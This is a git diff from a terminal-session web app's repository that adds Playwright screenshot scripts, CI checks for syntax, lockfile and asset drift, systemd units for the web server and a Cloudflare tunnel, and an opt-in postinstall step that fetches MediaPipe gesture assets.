+  if (target) await page.evaluate((id) => window.app.selectSession(id), target.id);
+  await sleep(2500);
+  // toggleMonitorPanel() opens the panel, clears the hidden state, loads REAL
+  // mux sessions (/api/mux), starts stats, and renders the task panel.
+  await page.evaluate(async () => {
+    try {
+      await window.app.toggleMonitorPanel();
+    } catch {}
+  });
+  await sleep(3000);
+  await shoot(page, 'multi-session-monitor.png');
+  await context.close();
+}
+
+async function sceneSubagent(browser) {
+  console.log('Scene: subagent');
+  const { context, page } = await newCtx(browser);
+  await page.goto(url(), { waitUntil: 'domcontentloaded' });
+  await bootstrap(page);
+  // Select the session whose subagents we want (subagentActiveTabOnly means
+  // app.subagents only fills for the active tab). Prefer SUBAGENT_SID env.
+  const sessions = await listSessions(page);
+  const targetId = process.env.SUBAGENT_SID || (sessions.find((s) => s.mode === 'claude') || sessions[0])?.id;
+  if (targetId) await page.evaluate((id) => window.app.selectSession(id), targetId);
+  // Wait (up to ~25s) for live subagents to arrive via SSE into app.subagents.
+  let agents = [];
+  for (let i = 0; i < 25; i++) {
+    agents = await page.evaluate(() =>
+      Array.from(window.app.subagents?.entries?.() || []).map(([id, a]) => ({ id, name: a.name ?? a.agentType ?? '' }))
+    );
+    if (agents.length >= 1) break;
+    await sleep(1000);
+  }
+  console.log('  live in-browser subagents:', JSON.stringify(agents));
+  if (agents.length === 0) {
+    console.log('  NO live subagents — skipping (stage a longer subagent task and run this while it runs).');
+    await context.close();
+    return;
+  }
+  await page.evaluate(
+    (ids) => {
+      ids.slice(0, 2).forEach((id) => {
+        try {
+          window.app.openSubagentWindow(id);
+        } catch {}
+      });
+    },
+    agents.map((a) => a.id)
+  );
+  await sleep(2000);
+  await page.evaluate(() => {
+    const wins = Array.from(window.app.subagentWindows.values());
+    const place = [
+      { left: 360, top: 60, w: 430, h: 330 },
+      { left: 810, top: 60, w: 430, h: 330 },
+    ];
+    wins.slice(0, 2).forEach((win, i) => {
+      const el = win.element;
+      const p = place[i];
+      el.style.left = p.left + 'px';
+      el.style.top = p.top + 'px';
+      el.style.width = p.w + 'px';
+      el.style.height = p.h + 'px';
+    });
+  });
+  await sleep(1500);
+  await shoot(page, 'subagent-spawn.png');
+  await context.close();
+}
+
+async function main() {
+  mkdirSync(OUT, { recursive: true });
+  const browser = await chromium.launch({
+    headless: true,
+    args: ['--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage', '--disable-gpu'],
+  });
+  console.log(`BASE=${BASE} SKIN=${SKIN} DSF=${DSF} VIEWPORT=${VIEWPORT.width}x${VIEWPORT.height} SCENE=${SCENE}`);
+  if (SCENE === 'dashboard' || SCENE === 'all') await sceneDashboard(browser);
+  if (SCENE === 'monitor' || SCENE === 'all') await sceneMonitor(browser);
+  if (SCENE === 'subagent' || SCENE === 'all') await sceneSubagent(browser);
+  await browser.close();
+}
+
+main().catch((e) => {
+  console.error('FATAL', e.message);
+  process.exit(1);
+});

scripts/capture-readme-screenshots.mjs

@@ -428,7 +428,7 @@ const SUBAGENT_ACTIVITY = {
   'agent-002': [
     { type: 'tool', tool: 'Glob', input: { pattern: 'test/**/*.test.ts' }, timestamp: new Date().toISOString(), agentId: 'agent-002' },
     { type: 'tool', tool: 'Read', input: { file_path: '/home/arkon/codeman/test/respawn-test-utils.ts' }, timestamp: new Date().toISOString(), agentId: 'agent-002' },
-    { type: 'tool', tool: 'Read', input: { file_path: '/home/arkon/codeman/vitest.config.ts' }, timestamp: new Date().toISOString(), agentId: 'agent-002' },
+    { type: 'tool', tool: 'Read', input: { file_path: '/home/arkon/codeman/config/vitest.config.ts' }, timestamp: new Date().toISOString(), agentId: 'agent-002' },
     { type: 'message', role: 'assistant', text: 'Analyzing test patterns: MockSession, unique ports, fileParallelism: false...', timestamp: new Date().toISOString(), agentId: 'agent-002' },
   ],
 };

scripts/capture-real-overview.mjs

@@ -0,0 +1,152 @@
+#!/usr/bin/env node
+/**
+ * capture-real-overview.mjs
+ *
+ * Captures a REAL claude-overview screenshot from a LIVE Codeman server
+ * (no mock injection). Drive a real session to do real work, then run:
+ *
+ *   SID=<sessionId> BASE=http://localhost:5000 OUT=screenshots-real \
+ *     node scripts/capture-real-overview.mjs
+ *
+ * Skin defaults to daylight-blue (prod default) via the localStorage pre-paint
+ * contract in index.html. Output: <OUT>/claude-overview.png at 1280x720 (DSF 2).
+ */
+import { chromium } from 'playwright';
+import { mkdirSync } from 'fs';
+import { join } from 'path';
+
+const SID = process.env.SID;
+const BASE = process.env.BASE || 'http://localhost:5000';
+const OUT = process.env.OUT || 'screenshots-real';
+const SKIN = process.env.SKIN || 'daylight-blue';
+// Unique filename per run (timestamped) so a viewer holding an old render of a
+// fixed path can never shadow a fresh capture. Override with NAME=… if needed.
+const STAMP = new Date().toISOString().replace(/[:.]/g, '-').replace('T', '_').slice(0, 19);
+const NAME = process.env.NAME || `claude-overview-${STAMP}.png`;
+const VIEWPORT = { width: Number(process.env.VW || 1512), height: Number(process.env.VH || 812) };
+// IMPORTANT: default deviceScaleFactor is 1, NOT 2. xterm's WebGL renderer in
+// headless Chromium draws terminal glyphs at ~2× their nominal size when DSF=2
+// (while still reporting nominal 8px cell dims internally, so it can't be caught
+// by measuring terminal.cols/cell — only the pixels reveal it). The HTML chrome
+// is unaffected, so DSF=2 makes ONLY the console font look comically large. DSF=1
+// renders the console at its true size, matching a real (non-headless) browser.
+const DSF = Number(process.env.DSF || 1);
+
+if (!SID) {
+  console.error('SID env var required (the live session id to screenshot)');
+  process.exit(1);
+}
+
+const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
+
+const main = async () => {
+  mkdirSync(OUT, { recursive: true });
+  const browser = await chromium.launch({
+    headless: true,
+    args: ['--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage', '--disable-gpu'],
+  });
+  const context = await browser.newContext({
+    viewport: VIEWPORT,
+    deviceScaleFactor: DSF,
+    ignoreHTTPSErrors: BASE.startsWith('https'),
+  });
+  const page = await context.newPage();
+  page.setDefaultTimeout(30000);
+
+  // Force the skin before any page script runs (pre-paint <head> contract), and
+  // seed the PER-DEVICE display blob so the capture reflects what prod actually
+  // shows on the user's real device — notably the plan-usage chip, which is a
+  // per-device setting (default OFF) deleted from the server payload, so a fresh
+  // browser would otherwise hide it. PLAN_USAGE=0 disables.
+  const PLAN_USAGE = process.env.PLAN_USAGE !== '0';
+  // Terminal console font size. App default is 14px; a fresh headless browser has
+  // no saved codeman-font-size, so it renders at 14 — much larger than a real
+  // device where the console has been zoomed down. Seed a smaller value (clamped
+  // to the app's [10,24] range) so the console font looks normal in the capture.
+  const FONT = Math.max(10, Math.min(24, Number(process.env.FONT || 14)));
+  await page.addInitScript(
+    ([skin, planUsage, font]) => {
+      try {
+        localStorage.setItem('codeman:skin', skin);
+        localStorage.setItem('codeman-font-size', String(font));
+        // Desktop app-settings blob (settings-ui.js getSettingsStorageKey()).
+        // Present these display keys explicitly so the server merge won't seed
+        // side panels open (display keys only seed from server when absent from
+        // localStorage). Matches the clean full-width-terminal reference look.
+        const blob = {
+          skin,
+          showFileBrowser: false,
+          showMonitor: false,
+          showSubagents: false,
+          showProjectInsights: false,
+        };
+        if (planUsage) blob.showPlanUsageLimits = true;
+        localStorage.setItem('codeman-app-settings', JSON.stringify(blob));
+      } catch {
+        /* ignore */
+      }
+    },
+    [SKIN, PLAN_USAGE, FONT]
+  );
+
+  // At DSF>1, xterm's WebGL renderer draws glyphs at ~2x (see DSF comment above).
+  // The app honors a `?nowebgl` URL param that switches to xterm's DOM renderer,
+  // which respects devicePixelRatio correctly — so DSF=2 + nowebgl yields a crisp
+  // 2x (retina) capture at the TRUE font size. Auto-enable it whenever DSF>1.
+  const url = DSF > 1 ? `${BASE}${BASE.includes('?') ? '&' : '?'}nowebgl` : BASE;
+  console.log(`Loading ${url} (DSF=${DSF}) ...`);
+  await page.goto(url, { waitUntil: 'domcontentloaded' });
+  await page.waitForFunction(() => window.app && window.app.terminal, { timeout: 20000 });
+  await sleep(1500);
+
+  console.log(`Selecting session ${SID} ...`);
+  await page.evaluate((sid) => window.app.selectSession(sid), SID);
+
+  // Let the terminal buffer stream in + xterm render + any Ink redraw settle.
+  await sleep(2000);
+
+  // Force a clean fit (avoids capturing a transient pre-fit frame where the
+  // terminal renders at the wrong column count) and re-apply per-device header
+  // visibility so the seeded plan-usage chip is shown.
+  await page.evaluate((font) => {
+    // Force the console font explicitly (setFontSize also re-fits) in case
+    // loadFontSize didn't pick up the seeded value before the session rendered.
+    try {
+      if (window.app.setFontSize) window.app.setFontSize(font);
+      else window.app.terminal.options.fontSize = font;
+    } catch {}
+    try {
+      window.app.fitAddon && window.app.fitAddon.fit();
+    } catch {}
+    try {
+      window.dispatchEvent(new Event('resize'));
+    } catch {}
+    try {
+      window.app.applyHeaderVisibilitySettings && window.app.applyHeaderVisibilitySettings();
+    } catch {}
+  }, FONT);
+  await sleep(3000);
+
+  // Optionally scroll the terminal up to frame the rich tool-call region
+  // (Read/Write/Bash + green test results) instead of the trailing summary.
+  const SCROLL = Number(process.env.SCROLL || 0);
+  if (SCROLL) {
+    await page.evaluate((n) => {
+      const t = window.app && window.app.terminal;
+      if (t && t.scrollLines) t.scrollLines(-n);
+    }, SCROLL);
+    await sleep(800);
+  }
+
+  const outPath = join(OUT, NAME);
+  await page.screenshot({ path: outPath, fullPage: false });
+  console.log(`Saved: ${outPath}`);
+
+  await context.close();
+  await browser.close();
+};
+
+main().catch((e) => {
+  console.error('FATAL', e.message);
+  process.exit(1);
+});

scripts/capture-video-screenshots.mjs

@@ -9,7 +9,7 @@
  *
  * Usage:  node scripts/capture-video-screenshots.mjs
  * Port:   3198 (static file server)
- * Output: remotion/public/ (6 PNGs)
+ * Output: scripts/scripts/remotion/public/ (6 PNGs)
  */
 
 import { chromium } from 'playwright';
@@ -21,7 +21,7 @@ import { fileURLToPath } from 'url';
 const __dirname = fileURLToPath(new URL('.', import.meta.url));
 const PROJECT_ROOT = join(__dirname, '..');
 const PUBLIC_DIR = join(PROJECT_ROOT, 'src', 'web', 'public');
-const OUTPUT_DIR = join(PROJECT_ROOT, 'remotion', 'public');
+const OUTPUT_DIR = join(PROJECT_ROOT, 'scripts', 'remotion', 'public');
 const PORT = 3198;
 
 const DESKTOP_VIEWPORT = { width: 1920, height: 1080 };
@@ -516,7 +516,7 @@ async function captureDesktopWelcome(browser) {
       path: join(OUTPUT_DIR, 'desktop-welcome.png'),
       fullPage: false,
     });
-    console.log('  Saved: remotion/public/desktop-welcome.png');
+    console.log('  Saved: scripts/remotion/public/desktop-welcome.png');
   } finally {
     await context.close();
   }
@@ -545,7 +545,7 @@ async function captureDesktopClaude(browser) {
       path: join(OUTPUT_DIR, 'desktop-claude.png'),
       fullPage: false,
     });
-    console.log('  Saved: remotion/public/desktop-claude.png');
+    console.log('  Saved: scripts/remotion/public/desktop-claude.png');
   } finally {
     await context.close();
   }
@@ -575,7 +575,7 @@ async function captureDesktopBothClaude(browser) {
       path: join(OUTPUT_DIR, 'desktop-both-claude.png'),
       fullPage: false,
     });
-    console.log('  Saved: remotion/public/desktop-both-claude.png');
+    console.log('  Saved: scripts/remotion/public/desktop-both-claude.png');
   } finally {
     await context.close();
   }
@@ -605,7 +605,7 @@ async function captureDesktopBothOpencode(browser) {
       path: join(OUTPUT_DIR, 'desktop-both-opencode.png'),
       fullPage: false,
     });
-    console.log('  Saved: remotion/public/desktop-both-opencode.png');
+    console.log('  Saved: scripts/remotion/public/desktop-both-opencode.png');
   } finally {
     await context.close();
   }
@@ -634,7 +634,7 @@ async function captureMobileClaude(browser) {
       path: join(OUTPUT_DIR, 'mobile-claude.png'),
       fullPage: false,
     });
-    console.log('  Saved: remotion/public/mobile-claude.png');
+    console.log('  Saved: scripts/remotion/public/mobile-claude.png');
   } finally {
     await context.close();
   }
@@ -663,7 +663,7 @@ async function captureMobileOpencode(browser) {
       path: join(OUTPUT_DIR, 'mobile-opencode.png'),
       fullPage: false,
     });
-    console.log('  Saved: remotion/public/mobile-opencode.png');
+    console.log('  Saved: scripts/remotion/public/mobile-opencode.png');
   } finally {
     await context.close();
   }
@@ -706,12 +706,12 @@ async function main() {
     console.log('All 6 screenshots captured!');
     console.log('='.repeat(60));
     console.log('\nOutput files:');
-    console.log('  remotion/public/desktop-welcome.png');
-    console.log('  remotion/public/desktop-claude.png');
-    console.log('  remotion/public/desktop-both-claude.png');
-    console.log('  remotion/public/desktop-both-opencode.png');
-    console.log('  remotion/public/mobile-claude.png');
-    console.log('  remotion/public/mobile-opencode.png');
+    console.log('  scripts/remotion/public/desktop-welcome.png');
+    console.log('  scripts/remotion/public/desktop-claude.png');
+    console.log('  scripts/remotion/public/desktop-both-claude.png');
+    console.log('  scripts/remotion/public/desktop-both-opencode.png');
+    console.log('  scripts/remotion/public/mobile-claude.png');
+    console.log('  scripts/remotion/public/mobile-opencode.png');
   } catch (err) {
     console.error('\nFatal error:', err.message);
     console.error(err.stack);

scripts/check-frontend-syntax.mjs

@@ -0,0 +1,40 @@
+#!/usr/bin/env node
+/**
+ * Frontend JS syntax check.
+ *
+ * CI's `npm run lint` only lints TypeScript under src/, and `tsc` excludes the
+ * frontend — so a plain SyntaxError in a shipped `src/web/public` script (loaded
+ * as a bare <script>, no bundler) passes CI green yet breaks the whole module at
+ * load.
+ * (This is exactly how PR #112's duplicate-`const` error in session-ui.js slipped
+ * through.) This runs `node --check` (parse-only; browser globals don't matter)
+ * on every shipped frontend script so that class of bug fails fast.
+ */
+import { readdirSync } from 'node:fs';
+import { join, dirname } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { execFileSync } from 'node:child_process';
+
+const ROOT = join(dirname(fileURLToPath(import.meta.url)), '..');
+const PUBLIC_DIR = join(ROOT, 'src', 'web', 'public');
+
+const files = readdirSync(PUBLIC_DIR)
+  .filter((f) => f.endsWith('.js'))
+  .map((f) => join(PUBLIC_DIR, f));
+
+let failed = 0;
+for (const file of files) {
+  try {
+    execFileSync(process.execPath, ['--check', file], { stdio: 'pipe' });
+  } catch (err) {
+    failed++;
+    const msg = err.stderr ? err.stderr.toString() : String(err);
+    console.error(`✗ syntax error in ${file.replace(ROOT + '/', '')}:\n${msg}`);
+  }
+}
+
+if (failed > 0) {
+  console.error(`\n${failed} frontend file(s) failed the syntax check.`);
+  process.exit(1);
+}
+console.log(`✓ ${files.length} frontend JS files parse cleanly`);

scripts/check-lockfile-sync.mjs

@@ -0,0 +1,29 @@
+#!/usr/bin/env node
+// Fails if package-lock.json's version fields don't match package.json.
+// Changesets bumps package.json but NOT the lockfile — this catches that drift
+// (the top-level `version` in lockfiles is metadata, so `npm ci` won't flag it).
+
+import { readFileSync } from 'node:fs';
+import { resolve, dirname } from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+const repoRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..');
+const pkg = JSON.parse(readFileSync(resolve(repoRoot, 'package.json'), 'utf8'));
+const lock = JSON.parse(readFileSync(resolve(repoRoot, 'package-lock.json'), 'utf8'));
+
+const expected = pkg.version;
+const rootVersion = lock.version;
+const selfVersion = lock.packages?.['']?.version;
+
+const mismatches = [];
+if (rootVersion !== expected) mismatches.push(`  package-lock.json#.version = ${rootVersion} (expected ${expected})`);
+if (selfVersion !== expected) mismatches.push(`  package-lock.json#.packages[""].version = ${selfVersion} (expected ${expected})`);
+
+if (mismatches.length > 0) {
+  console.error(`\nLockfile version drift detected (package.json is ${expected}):`);
+  console.error(mismatches.join('\n'));
+  console.error('\nFix: run `npm install --package-lock-only` and commit the updated package-lock.json.\n');
+  process.exit(1);
+}
+
+console.log(`Lockfile in sync with package.json (${expected}).`);

scripts/check-public-assets.mjs

@@ -0,0 +1,66 @@
+#!/usr/bin/env node
+
+import { execFileSync } from 'node:child_process';
+import { readdirSync, readFileSync } from 'node:fs';
+import { dirname, extname, join, relative, resolve } from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+const repoRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..');
+const publicRoot = resolve(repoRoot, 'src/web/public');
+const prettierBin = resolve(repoRoot, 'node_modules/.bin/prettier');
+const checkedExtensions = new Set(['.js', '.css', '.html', '.json']);
+
+function collectTextAssets(dir) {
+  const files = [];
+  for (const entry of readdirSync(dir, { withFileTypes: true })) {
+    const fullPath = join(dir, entry.name);
+    if (entry.isDirectory()) {
+      files.push(...collectTextAssets(fullPath));
+      continue;
+    }
+    if (checkedExtensions.has(extname(entry.name))) {
+      files.push(fullPath);
+    }
+  }
+  return files;
+}
+
+function findNullByte(buffer) {
+  for (let i = 0; i < buffer.length; i += 1) {
+    if (buffer[i] === 0) return i;
+  }
+  return -1;
+}
+
+const files = collectTextAssets(publicRoot);
+const failures = [];
+
+for (const file of files) {
+  const rel = relative(repoRoot, file);
+  const data = readFileSync(file);
+  const nullByteIndex = findNullByte(data);
+  if (nullByteIndex !== -1) {
+    failures.push(`${rel}: contains literal NUL byte at offset ${nullByteIndex}`);
+  }
+
+  if (extname(file) === '.js') {
+    try {
+      execFileSync(process.execPath, ['--check', file], { cwd: repoRoot, stdio: 'pipe' });
+    } catch (err) {
+      failures.push(`${rel}: JavaScript syntax check failed\n${String(err.stderr || err.message).trim()}`);
+    }
+  }
+}
+
+try {
+  execFileSync(prettierBin, ['--check', ...files], { cwd: repoRoot, stdio: 'pipe' });
+} catch (err) {
+  failures.push(`Prettier public asset check failed\n${String(err.stdout || err.stderr || err.message).trim()}`);
+}
+
+if (failures.length > 0) {
+  console.error(failures.join('\n\n'));
+  process.exit(1);
+}
+
+console.log(`Public asset checks passed (${files.length} files).`);

scripts/codeman-tunnel-named.service

@@ -0,0 +1,19 @@
+[Unit]
+Description=Codeman Cloudflare Named Tunnel
+After=network-online.target codeman-web.service
+Wants=network-online.target
+
+[Service]
+Type=simple
+ExecStart=/usr/bin/cloudflared tunnel --config %h/.cloudflared/codeman.yml run codeman
+Restart=always
+RestartSec=5
+KillMode=process
+
+# Logging
+StandardOutput=journal
+StandardError=journal
+SyslogIdentifier=codeman-tunnel-named
+
+[Install]
+WantedBy=default.target

scripts/codeman-web.service

@@ -12,6 +12,14 @@ KillMode=process
 Environment=NODE_ENV=production
 Environment=HOME=/home/arkon
 Environment=NODE_COMPILE_CACHE=/home/arkon/.codeman/compile-cache
+# Loopback bind (default, no --host) + no password: safe out of the box. Hooks
+# reach 127.0.0.1, and `tailscale serve` fronts it on the tailnet only (real
+# cert, no LAN exposure, no app login). To expose on the LAN instead, add
+# Environment=CODEMAN_HOST=0.0.0.0 + Environment=CODEMAN_PASSWORD=... .
+# See docs/security-architecture.md.
+Environment=CODEMAN_GESTURE=1
+# ^ Makes the gesture-control overlay AVAILABLE (CSP widening + /gesture/ assets);
+#   the actual on/off stays the per-user App Settings toggle (default OFF).
 
 # Logging
 StandardOutput=journal

scripts/fetch-gesture-assets.mjs

@@ -0,0 +1,58 @@
+/**
+ * @fileoverview Fetch the gesture-overlay runtime assets (MediaPipe wasm + the
+ * gesture-recognizer model) into src/web/public/gesture/ so Codeman can serve
+ * them same-origin (a browser content-blocker otherwise blocks the public CDNs
+ * and the overlay fails to start). These are large binaries (~27 MB) kept OUT of
+ * git (ignored explicitly via `src/web/public/gesture/wasm/` + `*.task` in
+ * .gitignore); they are fetched here at install (postinstall) and build time.
+ *
+ * Idempotent: skips files already present. Non-fatal: the gesture overlay is
+ * opt-in (CODEMAN_GESTURE=1), so a fetch failure only warns — it must not break
+ * `npm install` / `npm run build`. The build then copies src/web/public into
+ * dist/ as usual, so prod gets these too.
+ *
+ * The @mediapipe/tasks-vision version MUST match the one bundled into the gesture
+ * overlay (Ark0N/codeman-gesture-control) so the wasm loader matches its JS API.
+ */
+import { mkdirSync, existsSync, statSync, writeFileSync } from 'node:fs';
+import { join, dirname } from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+const __dirname = dirname(fileURLToPath(import.meta.url));
+const GESTURE = join(__dirname, '..', 'src', 'web', 'public', 'gesture');
+const WASM = join(GESTURE, 'wasm');
+
+const MP_VERSION = '0.10.21'; // keep in sync with the gesture overlay's @mediapipe/tasks-vision
+const WASM_BASE = `https://cdn.jsdelivr.net/npm/@mediapipe/tasks-vision@${MP_VERSION}/wasm`;
+const MODEL_URL =
+  'https://storage.googleapis.com/mediapipe-models/gesture_recognizer/gesture_recognizer/float16/1/gesture_recognizer.task';
+
+const ASSETS = [
+  { url: `${WASM_BASE}/vision_wasm_internal.js`, path: join(WASM, 'vision_wasm_internal.js') },
+  { url: `${WASM_BASE}/vision_wasm_internal.wasm`, path: join(WASM, 'vision_wasm_internal.wasm') },
+  { url: `${WASM_BASE}/vision_wasm_nosimd_internal.js`, path: join(WASM, 'vision_wasm_nosimd_internal.js') },
+  { url: `${WASM_BASE}/vision_wasm_nosimd_internal.wasm`, path: join(WASM, 'vision_wasm_nosimd_internal.wasm') },
+  { url: MODEL_URL, path: join(GESTURE, 'gesture_recognizer.task') },
+];
+
+async function main() {
+  mkdirSync(WASM, { recursive: true });
+  let fetched = 0;
+  let skipped = 0;
+  for (const a of ASSETS) {
+    if (existsSync(a.path) && statSync(a.path).size > 0) {
+      skipped++;
+      continue;
+    }
+    const res = await fetch(a.url);
+    if (!res.ok) throw new Error(`HTTP ${res.status} for ${a.url}`);
+    writeFileSync(a.path, Buffer.from(await res.arrayBuffer()));
+    fetched++;
+  }
+  console.log(`[gesture] MediaPipe assets ready (${fetched} fetched, ${skipped} cached) → ${GESTURE}`);
+}
+
+main().catch((err) => {
+  // Non-fatal: opt-in feature. Warn and exit 0 so install/build still succeed.
+  console.warn(`[gesture] could not fetch MediaPipe assets — overlay disabled until fetched: ${err.message}`);
+});

scripts/postinstall.js

@@ -252,6 +252,7 @@ if (isGlobalInstall) {
         const require = createRequire(import.meta.url);
         const xtermDir = join(require.resolve('@xterm/xterm'), '..', '..');
         const fitDir = join(require.resolve('@xterm/addon-fit'), '..', '..');
+        const serializeDir = join(require.resolve('@xterm/addon-serialize'), '..', '..');
         const webglDir = join(require.resolve('@xterm/addon-webgl'), '..', '..');
         const unicode11Dir = join(require.resolve('@xterm/addon-unicode11'), '..', '..');
         const vendorDir = join(srcDir, 'web', 'public', 'vendor');
@@ -264,12 +265,14 @@ if (isGlobalInstall) {
         try {
             execSync(`npx esbuild "${join(xtermDir, 'lib', 'xterm.js')}" --minify --outfile="${join(vendorDir, 'xterm.min.js')}"`, { stdio: 'pipe' });
             execSync(`npx esbuild "${join(fitDir, 'lib', 'addon-fit.js')}" --minify --outfile="${join(vendorDir, 'xterm-addon-fit.min.js')}"`, { stdio: 'pipe' });
+            execSync(`npx esbuild "${join(serializeDir, 'lib', 'addon-serialize.js')}" --minify --outfile="${join(vendorDir, 'xterm-addon-serialize.min.js')}"`, { stdio: 'pipe' });
             execSync(`npx esbuild "${join(unicode11Dir, 'lib', 'addon-unicode11.js')}" --minify --outfile="${join(vendorDir, 'xterm-addon-unicode11.min.js')}"`, { stdio: 'pipe' });
             console.log(colors.green('✓ xterm vendor files copied to src/web/public/vendor/'));
         } catch {
             // Fallback: copy unminified
             copyFileSync(join(xtermDir, 'lib', 'xterm.js'), join(vendorDir, 'xterm.min.js'));
             copyFileSync(join(fitDir, 'lib', 'addon-fit.js'), join(vendorDir, 'xterm-addon-fit.min.js'));
+            copyFileSync(join(serializeDir, 'lib', 'addon-serialize.js'), join(vendorDir, 'xterm-addon-serialize.min.js'));
             copyFileSync(join(unicode11Dir, 'lib', 'addon-unicode11.js'), join(vendorDir, 'xterm-addon-unicode11.min.js'));
             console.log(colors.green('✓ xterm vendor files copied') + colors.dim(' (unminified — esbuild not available)'));
         }
@@ -312,6 +315,20 @@ if (isGlobalInstall) {
     }
 }
 
+// ----------------------------------------------------------------------------
+// 4b. Fetch gesture-overlay runtime assets (MediaPipe wasm + model) for dev mode
+//     (src/web/public/gesture/). Opt-in feature (CODEMAN_GESTURE=1); non-fatal.
+//     Large binaries kept out of git; the build copies them into dist/.
+// ----------------------------------------------------------------------------
+
+if (!isGlobalInstall) {
+    try {
+        execSync(`node "${join(import.meta.dirname, 'fetch-gesture-assets.mjs')}"`, { stdio: 'inherit' });
+    } catch {
+        // Non-fatal — the gesture overlay is opt-in.
+    }
+}
+
 // ----------------------------------------------------------------------------
 // 5. Install git pre-commit hook (format check)
 // ----------------------------------------------------------------------------
@@ -446,3 +463,16 @@ if (process.env.CI || process.env.CODEMAN_NO_AUTOSTART) {
         }
     }
 }
+
+// ----------------------------------------------------------------------------
+// Security note — printed on every install path
+// ----------------------------------------------------------------------------
+
+console.log(colors.bold('Security:'));
+console.log(colors.dim('  Codeman binds ') + colors.cyan('127.0.0.1') + colors.dim(' (this machine only) — no password needed by default.'));
+console.log(colors.dim('  To reach it from another device, do ONE of:'));
+console.log(colors.dim('    • ') + colors.cyan('tailscale serve') + colors.dim(' / ') + colors.cyan('cloudflared tunnel') + colors.dim('   (recommended), or'));
+console.log(colors.dim('    • ') + colors.cyan('codeman web --host 0.0.0.0') + colors.dim('  AND set ') + colors.cyan('CODEMAN_PASSWORD'));
+console.log(colors.dim('  A non-loopback bind without a password still starts, but warns loudly.'));
+console.log(colors.dim('  Details: docs/security-architecture.md'));
+console.log('');